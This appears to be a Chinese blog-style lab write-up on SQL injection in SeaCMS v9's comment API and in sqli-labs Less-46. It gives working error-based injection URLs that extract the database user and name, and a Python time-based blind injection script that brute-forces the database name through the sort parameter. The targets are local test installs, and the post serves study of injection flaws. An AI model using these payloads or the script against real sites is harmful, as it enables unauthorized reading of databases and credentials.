seacmsv9注入管理员账号密码+orderby+limit

seacmsv9存在SQL注入漏洞,漏洞文件是./comment/api/index.php,在网页代码中找到用户提交的rlist参数,攻击者可以在rlist参数处注入SQL代码,构造恶意rlist参数

复制代码
http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
复制代码
http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@`%27`

输入?sort=rand(true)和?sort=rand(false)时,页面排序结果不同,则看通过构造条件表达式来出发不同的回显。

复制代码
 import requests
 import time
 ​
 def inject_database(url):
     name = ''
     for i in range(1, 20):
         low = 32
         high = 128
         mid = (low + high) // 2
         while low < high:
             # 构造时间盲注payload
             payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
             # 传参
             params = {"sort": payload}
             start_time = time.time()
             # 异常处理
             try:
                 r = requests.get(url, params=params, timeout=20)
             except requests.Timeout:
                 print("Request timed out.")
                 continue
             end_time = time.time()
             if end_time - start_time >= 1:
                 low = mid + 1
             else:
                 high = mid
             mid = (low + high) // 2
         if mid == 32:
             break
         name += chr(mid)
         print(name)
 ​
 ​
 if __name__ == "__main__":
     url = 'http://127.0.0.1/sqli-labs-php7/Less-46/index.php'
     inject_database(url)
 ​
相关推荐
期待のcode4 小时前
MyBatisX插件
java·数据库·后端·mybatis·springboot
安审若无6 小时前
oracel迁移数据文件至其他目录操作步骤
数据库
sunxunyong7 小时前
doris运维命令
java·运维·数据库
小鸡吃米…7 小时前
Python PyQt6教程七-控件
数据库·python
忍冬行者7 小时前
清理三主三从redis集群的过期key和键值超过10M的key
数据库·redis·缓存
TimberWill7 小时前
使用Redis队列优化内存队列
数据库·redis·缓存
Knight_AL9 小时前
MySQL 中 UPDATE 语句的执行过程全解析
数据库·mysql
Li.CQ9 小时前
SQL学习笔记(二)
笔记·sql·学习
yngsqq9 小时前
兰顿蚂蚁——CAD二次开发
数据库
梁萌10 小时前
ShardingSphere分库分表实战
数据库·mysql·实战·shardingsphere·分库分表